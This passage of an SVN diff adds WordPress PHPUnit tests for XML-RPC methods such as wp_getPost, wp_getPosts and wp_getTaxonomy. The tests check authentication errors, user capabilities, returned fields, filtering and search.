+            'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+        );
+        $this->post_id = wp_insert_post( $this->post_data );
+        $this->editor_id = $this->make_user_by_role( 'editor' );
+    }
+
+    function test_invalid_username_password() {
+        $result = $this->myxmlrpcserver->wp_getPages( array( 1, 'username', 'password' ) );
+        $this->assertInstanceOf( 'IXR_Error', $result );
+        $this->assertEquals( 403, $result->code );
+    }
+
+    function test_incapable_user() {
+		$this->make_user_by_role( 'contributor' );
+
+        $result = $this->myxmlrpcserver->wp_getPages( array( 1, 'contributor', 'contributor' ) );
+        $this->assertInstanceOf( 'IXR_Error', $result );
+        $this->assertEquals( 401, $result->code );
+    }
+
+    function test_capable_user() {
+        $results = $this->myxmlrpcserver->wp_getPages( array( 1, 'administrator', 'administrator' ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+        foreach( $results as $result ) {
+            $page = get_post( $result['page_id'] );
+            $this->assertEquals( $page->post_type, 'page' );
+        }
+    }
+
+    function remove_editor_edit_page_cap( $caps, $cap, $user_id, $args ) {
+        if ( in_array( $cap, array( 'edit_page', 'edit_others_pages' ) ) ) {
+            if ( $user_id == $this->editor_id && $args[0] == $this->post_id ) {
+                return array( false );
+            }
+        }
+
+        return $caps;
+    }
+
+	/**
+	 * @ticket 20629
+	 */
+	function test_semi_capable_user() {
+        add_filter( 'map_meta_cap', array( $this, 'remove_editor_edit_page_cap') , 10, 4 );
+
+        $results = $this->myxmlrpcserver->wp_getPages( array( 1, 'editor', 'editor' ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+        $found_incapable = false;
+        foreach( $results as $result ) {
+            // WP#20629
+            $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+            if ( $result['page_id'] == $this->post_id ) {
+                $found_incapable = true;
+                break;
+            }
+        }
+        $this->assertFalse( $found_incapable );
+
+        remove_filter( 'map_meta_cap', array( $this, 'remove_editor_edit_page_cap' ), 10, 4 );
+    }
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPost.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPost.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPost.php	(revision 33402)
@@ -0,0 +1,145 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPost extends WP_XMLRPC_UnitTestCase {
+	var $post_data;
+	var $post_id;
+	var $post_date_ts;
+	var $post_custom_field;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_date_ts = strtotime( '+1 day' );
+		$this->post_data = array(
+			'post_title' => rand_str(),
+			'post_content' => rand_str( 2000 ),
+			'post_excerpt' => rand_str( 100 ),
+			'post_author' => $this->make_user_by_role( 'author' ),
+			'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+		);
+		$this->post_id = wp_insert_post( $this->post_data );
+		$this->post_custom_field = array( 'key' => 'test_custom_field', 'value' => 12345678);
+		$this->post_custom_field['id'] = add_post_meta( $this->post_id, $this->post_custom_field['key'], $this->post_custom_field['value'] );
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getPost( array( 1, 'username', 'password', 1 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_valid_post() {
+		add_theme_support( 'post-thumbnails' );
+
+		$fields = array( 'post', 'custom_fields' );
+		$result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $this->post_id, $fields ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// Check data types
+		$this->assertInternalType( 'string', $result['post_id'] );
+		$this->assertInternalType( 'string', $result['post_title'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['post_date'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['post_date_gmt'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['post_modified'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['post_modified_gmt'] );
+		$this->assertInternalType( 'string', $result['post_status'] );
+		$this->assertInternalType( 'string', $result['post_type'] );
+		$this->assertInternalType( 'string', $result['post_name'] );
+		$this->assertInternalType( 'string', $result['post_author'] );
+		$this->assertInternalType( 'string', $result['post_password'] );
+		$this->assertInternalType( 'string', $result['post_excerpt'] );
+		$this->assertInternalType( 'string', $result['post_content'] );
+		$this->assertInternalType( 'string', $result['link'] );
+		$this->assertInternalType( 'string', $result['comment_status'] );
+		$this->assertInternalType( 'string', $result['ping_status'] );
+		$this->assertInternalType( 'bool', $result['sticky'] );
+		$this->assertInternalType( 'string', $result['post_format'] );
+		$this->assertInternalType( 'array', $result['post_thumbnail'] );
+		$this->assertInternalType( 'array', $result['custom_fields'] );
+
+		// Check expected values
+		$this->assertStringMatchesFormat( '%d', $result['post_id'] );
+		$this->assertEquals( $this->post_data['post_title'], $result['post_title'] );
+		$this->assertEquals( 'draft', $result['post_status'] );
+		$this->assertEquals( 'post', $result['post_type'] );
+		$this->assertStringMatchesFormat( '%d', $result['post_author'] );
+		$this->assertEquals( $this->post_data['post_excerpt'], $result['post_excerpt'] );
+		$this->assertEquals( $this->post_data['post_content'], $result['post_content'] );
+		$this->assertEquals( url_to_postid( $result['link'] ), $this->post_id );
+		$this->assertEquals( $this->post_custom_field['id'], $result['custom_fields'][0]['id'] );
+		$this->assertEquals( $this->post_custom_field['key'], $result['custom_fields'][0]['key'] );
+		$this->assertEquals( $this->post_custom_field['value'], $result['custom_fields'][0]['value'] );
+
+		remove_theme_support( 'post-thumbnails' );
+	}
+
+	function test_no_fields() {
+		$fields = array();
+		$result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $this->post_id, $fields ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// when no fields are requested, only the IDs should be returned
+		$this->assertEquals( 1, count( $result ) );
+		$this->assertEquals( array( 'post_id' ), array_keys( $result ) );
+	}
+
+	function test_default_fields() {
+		$result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $this->post_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		$this->assertArrayHasKey( 'post_id', $result );
+		$this->assertArrayHasKey( 'link', $result ); // random field from 'posts' group
+		$this->assertArrayHasKey( 'terms', $result );
+		$this->assertArrayHasKey( 'custom_fields', $result );
+	}
+
+	function test_date() {
+		$fields = array( 'post' );
+		$result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $this->post_id, $fields ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		$this->assertInstanceOf( 'IXR_Date', $result['post_date'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['post_date_gmt'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['post_modified'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['post_modified_gmt'] );
+
+		$this->assertEquals( $this->post_date_ts, $result['post_date']->getTimestamp() );
+		$this->assertEquals( $this->post_date_ts, $result['post_modified']->getTimestamp() );
+
+		$post_date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+		$post_modified_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+
+		$this->assertEquals( $post_date_gmt, $result['post_date_gmt']->getTimestamp() );
+		$this->assertEquals( $post_modified_gmt, $result['post_modified_gmt']->getTimestamp() );
+	}
+
+	/**
+	 * @ticket 21308
+	 */
+	function test_valid_page() {
+		$this->make_user_by_role( 'editor' );
+
+		$parent_page_id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		$child_page_id = $this->factory->post->create( array(
+			'post_type' => 'page',
+			'post_parent' => $parent_page_id,
+			'menu_order' => 2
+		) );
+
+		$result = $this->myxmlrpcserver->wp_getPost( array( 1, 'editor', 'editor', $child_page_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		$this->assertInternalType( 'string', $result['post_id'] );
+		$this->assertInternalType( 'string', $result['post_parent'] );
+		$this->assertInternalType( 'int', $result['menu_order'] );
+		$this->assertInternalType( 'string', $result['guid'] );
+		$this->assertInternalType( 'string', $result['post_mime_type'] );
+
+		$this->assertEquals( 'page', $result['post_type'] );
+		$this->assertEquals( $parent_page_id, $result['post_parent'] );
+		$this->assertEquals( 2, $result['menu_order'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPostType.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPostType.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPostType.php	(revision 33402)
@@ -0,0 +1,132 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPostType extends WP_XMLRPC_UnitTestCase {
+	var $cpt_name;
+	var $cpt_args;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->cpt_name = 'post_type_test';
+		$this->cpt_args = array(
+			'public' => false,
+			'show_ui' => true,
+			'show_in_menu' => true,
+			'menu_position' => 7,
+			'menu_icon' => 'cpt_icon.png',
+			'taxonomies' => array( 'category', 'post_tag' ),
+			'hierarchical' => true
+		);
+		register_post_type( $this->cpt_name, $this->cpt_args );
+	}
+
+	function tearDown() {
+		_unregister_post_type( $this->cpt_name );
+
+		parent::tearDown();
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'username', 'password', 'post' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_invalid_post_type_name() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'editor', 'editor', 'foobar' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_valid_post_type_name() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'editor', 'editor', 'post' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'subscriber', 'subscriber', 'post' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_valid_type() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'editor', 'editor', $this->cpt_name, array( 'labels', 'cap', 'menu', 'taxonomies' ) ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// check data types
+		$this->assertInternalType( 'string', $result['name'] );
+		$this->assertInternalType( 'string', $result['label'] );
+		$this->assertInternalType( 'bool', $result['hierarchical'] );
+		$this->assertInternalType( 'bool', $result['public'] );
+		$this->assertInternalType( 'bool', $result['_builtin'] );
+		$this->assertInternalType( 'bool', $result['map_meta_cap'] );
+		$this->assertInternalType( 'bool', $result['has_archive'] );
+		$this->assertInternalType( 'bool', $result['show_ui'] );
+		$this->assertInternalType( 'int', $result['menu_position'] );
+		$this->assertInternalType( 'string', $result['menu_icon'] );
+		$this->assertInternalType( 'array', $result['labels'] );
+		$this->assertInternalType( 'array', $result['cap'] );
+		$this->assertInternalType( 'array', $result['taxonomies'] );
+		$this->assertInternalType( 'array', $result['supports'] );
+
+		// check label data types
+		$this->assertInternalType( 'string', $result['labels']['name'] );
+		$this->assertInternalType( 'string', $result['labels']['singular_name'] );
+		$this->assertInternalType( 'string', $result['labels']['add_new'] );
+		$this->assertInternalType( 'string', $result['labels']['add_new_item'] );
+		$this->assertInternalType( 'string', $result['labels']['edit_item'] );
+		$this->assertInternalType( 'string', $result['labels']['new_item'] );
+		$this->assertInternalType( 'string', $result['labels']['view_item'] );
+		$this->assertInternalType( 'string', $result['labels']['search_items'] );
+		$this->assertInternalType( 'string', $result['labels']['not_found'] );
+		$this->assertInternalType( 'string', $result['labels']['not_found_in_trash'] );
+		$this->assertInternalType( 'string', $result['labels']['parent_item_colon'] );
+		$this->assertInternalType( 'string', $result['labels']['all_items'] );
+		$this->assertInternalType( 'string', $result['labels']['menu_name'] );
+		$this->assertInternalType( 'string', $result['labels']['name_admin_bar'] );
+
+		// check cap data types
+		$this->assertInternalType( 'string', $result['cap']['edit_post'] );
+		$this->assertInternalType( 'string', $result['cap']['read_post'] );
+		$this->assertInternalType( 'string', $result['cap']['delete_post'] );
+		$this->assertInternalType( 'string', $result['cap']['edit_posts'] );
+		$this->assertInternalType( 'string', $result['cap']['edit_others_posts'] );
+		$this->assertInternalType( 'string', $result['cap']['publish_posts'] );
+		$this->assertInternalType( 'string', $result['cap']['read_private_posts'] );
+		$this->assertInternalType( 'string', $result['cap']['read'] );
+		$this->assertInternalType( 'string', $result['cap']['delete_posts'] );
+		$this->assertInternalType( 'string', $result['cap']['delete_private_posts'] );
+		$this->assertInternalType( 'string', $result['cap']['delete_published_posts'] );
+		$this->assertInternalType( 'string', $result['cap']['delete_others_posts'] );
+		$this->assertInternalType( 'string', $result['cap']['edit_private_posts'] );
+		$this->assertInternalType( 'string', $result['cap']['edit_published_posts'] );
+
+		// check taxonomy data types
+		foreach ( $result['taxonomies'] as $taxonomy ) {
+			$this->assertInternalType( 'string', $taxonomy );
+		}
+
+		// check taxonomy data types
+		foreach ( $result['supports'] as $key => $value ) {
+			$this->assertInternalType( 'string', $key );
+			$this->assertInternalType( 'bool', $value );
+		}
+
+		// Check expected values
+		$this->assertEquals( $this->cpt_name, $result['name'] );
+		foreach ( $this->cpt_args as $key => $value ) {
+			$this->assertEquals( $value, $result[$key] );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPostTypes.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPostTypes.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPostTypes.php	(revision 33402)
@@ -0,0 +1,43 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPostTypes extends WP_XMLRPC_UnitTestCase {
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getPostTypes( array( 1, 'username', 'password', 'post' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getPostTypes( array( 1, 'subscriber', 'subscriber' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 0, count( $result ) );
+	}
+
+	function test_capable_user() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getPostTypes( array( 1, 'editor', 'editor' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertInternalType( 'array', $result );
+		$this->assertGreaterThan( 0, count( $result ) );
+	}
+
+	function test_simple_filter() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getPostTypes( array( 1, 'editor', 'editor', array( 'hierarchical' => true ) ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertInternalType( 'array', $result );
+
+		// verify that pages is in the result, and post is not
+		$result_names = wp_list_pluck( $result, 'name' );
+		$this->assertContains( 'page', $result_names );
+		$this->assertNotContains( 'post', $result_names );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPosts.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPosts.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPosts.php	(revision 33402)
@@ -0,0 +1,156 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPosts extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	/**
+	 * @ticket 20991
+	 */
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'subscriber', 'subscriber' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+
+		$filter = array( 'post_type' => 'page' );
+		$result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'subscriber', 'subscriber', $filter ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_capable_user() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_invalid_post_type() {
+		$this->make_user_by_role( 'editor' );
+
+		$filter = array( 'post_type' => 'invalid_post_type_name' );
+		$result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_filters() {
+		$this->make_user_by_role( 'editor' );
+
+		$cpt_name = 'test_wp_getposts_cpt';
+		register_post_type( $cpt_name, array(
+			'taxonomies' => array( 'post_tag', 'category' ),
+			'public' => true
+		));
+
+		$post_ids = array();
+		$num_posts = 17;
+		foreach ( range( 1, $num_posts ) as $i ) {
+			$post_ids[] = $this->factory->post->create( array(
+				'post_type' => $cpt_name,
+				'post_date' => date( 'Y-m-d H:i:s', time() + $i )
+			) );
+		}
+		// get them all
+		$filter = array( 'post_type' => $cpt_name, 'number' => $num_posts + 10 );
+		$results = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+		$this->assertEquals( $num_posts, count( $results ) );
+
+		// page through results
+		$posts_found = array();
+		$filter['number'] = 5;
+		$filter['offset'] = 0;
+		do {
+			$presults = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+			$posts_found = array_merge( $posts_found, wp_list_pluck( $presults, 'post_id' ) );
+			$filter['offset'] += $filter['number'];
+		} while ( count( $presults ) > 0 );
+		// verify that $post_ids matches $posts_found
+		$this->assertEquals( 0, count( array_diff( $post_ids, $posts_found ) ) );
+
+		// add comments to some of the posts
+		$random_posts = array_rand( $post_ids, $num_posts / 2 );
+		foreach ( $random_posts as $i ) {
+			$post = $post_ids[$i];
+			$this->factory->comment->create_post_comments( $post, rand( 1, 20 ) );
+		}
+
+		// get results ordered by comment count
+		$filter2 = array( 'post_type' => $cpt_name, 'number' => $num_posts, 'orderby' => 'comment_count', 'order' => 'DESC' );
+		$results2 = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results2 );
+		$last_comment_count = 100;
+		foreach ( $results2 as $post ) {
+			$comment_count = intval( get_comments_number( $post['post_id'] ) );
+			$this->assertLessThanOrEqual( $last_comment_count, $comment_count );
+			$last_comment_count = $comment_count;
+		}
+
+		// set one of the posts to draft and get drafts
+		$post = get_post( $post_ids[$random_posts[0]] );
+		$post->post_status = 'draft';
+		wp_update_post( $post );
+		$filter3 = array( 'post_type' => $cpt_name, 'post_status' => 'draft' );
+		$results3 = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter3 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results3 );
+		$this->assertEquals( 1, count( $results3 ) );
+		$this->assertEquals( $post->ID, $results3[0]['post_id'] );
+
+		_unregister_post_type( $cpt_name );
+	}
+
+	function test_fields() {
+		$this->make_user_by_role( 'editor' );
+		$this->factory->post->create();
+
+		// check default fields
+		$results = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+		$expected_fields = array( 'post_id', 'post_title', 'terms', 'custom_fields', 'link' ); // subset of expected fields
+		foreach( $expected_fields as $field ) {
+			$this->assertArrayHasKey( $field, $results[0] );
+		}
+
+		// request specific fields and verify that only those are returned
+		$filter = array();
+		$fields = array( 'post_name', 'post_author', 'enclosure' );
+		$results2 = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter, $fields ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results2 );
+		$expected_fields = array_merge( $fields, array( 'post_id' ) );
+		foreach ( array_keys( $results2[0] ) as $field ) {
+			$this->assertContains( $field, $expected_fields );
+		}
+	}
+
+	/**
+	 * @ticket 21623
+	 */
+	function test_search() {
+		$this->make_user_by_role( 'editor' );
+
+		$post_ids[] = $this->factory->post->create( array( 'post_title' => 'First: ' . rand_str() ) );
+		$post_ids[] = $this->factory->post->create( array( 'post_title' => 'Second: ' . rand_str() ) );
+
+		// Search for none of them
+		$filter = array( 's' => rand_str() );
+		$results = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+		$this->assertEquals( 0, count( $results ) );
+
+		// Search for one of them
+		$filter = array( 's' => 'First:' );
+		$results = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+		$this->assertEquals( 1, count( $results ) );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getProfile.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getProfile.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getProfile.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * @group xmlrpc
+ * @group user
+ */
+class Tests_XMLRPC_wp_getProfile extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getProfile( array( 1, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_subscriber() {
+		$subscriber_id = $this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getProfile( array( 1, 'subscriber', 'subscriber' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $subscriber_id, $result['user_id'] );
+		$this->assertContains( 'subscriber', $result['roles'] );
+	}
+
+	function test_administrator() {
+		$administrator_id = $this->make_user_by_role( 'administrator' );
+
+		$result = $this->myxmlrpcserver->wp_getProfile( array( 1, 'administrator', 'administrator' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $administrator_id, $result['user_id'] );
+		$this->assertContains( 'administrator', $result['roles'] );
+	}
+
+	function test_arbitrary_fields() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$fields = array( 'email', 'bio', 'user_contacts' );
+
+		$result = $this->myxmlrpcserver->wp_getProfile( array( 1, 'editor', 'editor', $fields ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $editor_id, $result['user_id'] );
+
+		$expected_fields = array( 'user_id', 'email', 'bio' );
+		$keys = array_keys( $result );
+		sort( $expected_fields );
+		sort( $keys );
+		$this->assertEqualSets( $expected_fields, $keys );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getRevisions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getRevisions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getRevisions.php	(revision 33402)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getRevisions extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'username', 'password', 0 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$post_id = $this->factory->post->create();
+
+		$result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'subscriber', 'subscriber', $post_id ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_capable_user() {
+		$this->make_user_by_role( 'editor' );
+
+		$post_id = $this->factory->post->create();
+		$result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'editor', 'editor', $post_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_revision_count() {
+		$this->make_user_by_role( 'editor' );
+
+		$post_id = $this->factory->post->create();
+		wp_insert_post( array( 'ID' => $post_id, 'post_content' => 'Edit 1' ) ); // Create the initial revision
+
+		$result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'editor', 'editor', $post_id ) );
+		$this->assertInternalType( 'array', $result );
+		$this->assertCount( 1, $result );
+
+		wp_insert_post( array( 'ID' => $post_id, 'post_content' => 'Edit 2' ) );
+
+		$result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'editor', 'editor', $post_id ) );
+		$this->assertInternalType( 'array', $result );
+		$this->assertCount( 2, $result );
+	}
+
+	/**
+	 * @ticket 22687
+	 */
+	function test_revision_count_for_auto_draft_post_creation() {
+		$this->make_user_by_role( 'editor' );
+
+		$post_id = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', array(
+			'post_title' => 'Original title',
+			'post_content' => 'Test'
+		) ) );
+
+		$result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'editor', 'editor', $post_id ) );
+		$this->assertCount( 1, $result );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTaxonomies.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTaxonomies.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTaxonomies.php	(revision 33402)
@@ -0,0 +1,20 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getTaxonomies extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getTaxonomies( array( 1, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_taxonomy_validated() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTaxonomies( array( 1, 'editor', 'editor' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTaxonomy.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTaxonomy.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getTaxonomy.php	(revision 33402)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getTaxonomy extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'username', 'password', 'category' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_empty_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'editor', 'editor', '' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_invalid_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'editor', 'editor', 'not_existing' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'subscriber', 'subscriber', 'category' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+		$this->assertEquals( __( 'You are not allowed to assign terms in this taxonomy.' ), $result->message );
+	}
+
+	function test_taxonomy_validated() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'editor', 'editor', 'category' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_prepare_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'editor', 'editor', 'category' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$taxonomy = get_taxonomy( 'category' );
+		$this->assertEquals( 'category', $result['name'], 'name' );
+		$this->assertEquals( true, $result['_builtin'], '_builtin' );
+		$this->assertEquals( $taxonomy->show_ui, $result['show_ui'], 'show_ui' );
+		$this->assertEquals( $taxonomy->public, $result['public'], 'public' );
+		$this->assertEquals( $taxonomy->hierarchical, $result['hierarchical'], 'hierarchical' );
